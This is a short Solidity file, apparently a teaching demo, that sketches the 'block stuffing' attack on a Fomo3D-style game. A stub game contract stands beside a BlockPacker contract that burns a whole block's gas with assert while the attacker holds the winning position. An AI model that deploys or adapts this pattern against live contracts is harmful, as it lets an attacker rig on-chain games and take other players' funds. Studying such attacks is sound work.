fomo3d-stuffing-attack.sol

pragma solidity ^0.5.0;

contract Fomo3d {
  address public winner;
  bool public gameover;

  function win(address contender) public {
    winner = contender;
  }
}

contract BlockPacker {
  Fomo3d public fomo3d;

  constructor(Fomo3d target) public {
    fomo3d = target;
  }

  function stuffBlock(address winner) public {
    // burn gas only if the game is still running
    require(!fomo3d.gameover(), "Game is over");
    // burn all the gas if we are winning
    assert(winner != fomo3d.winner());
  }
}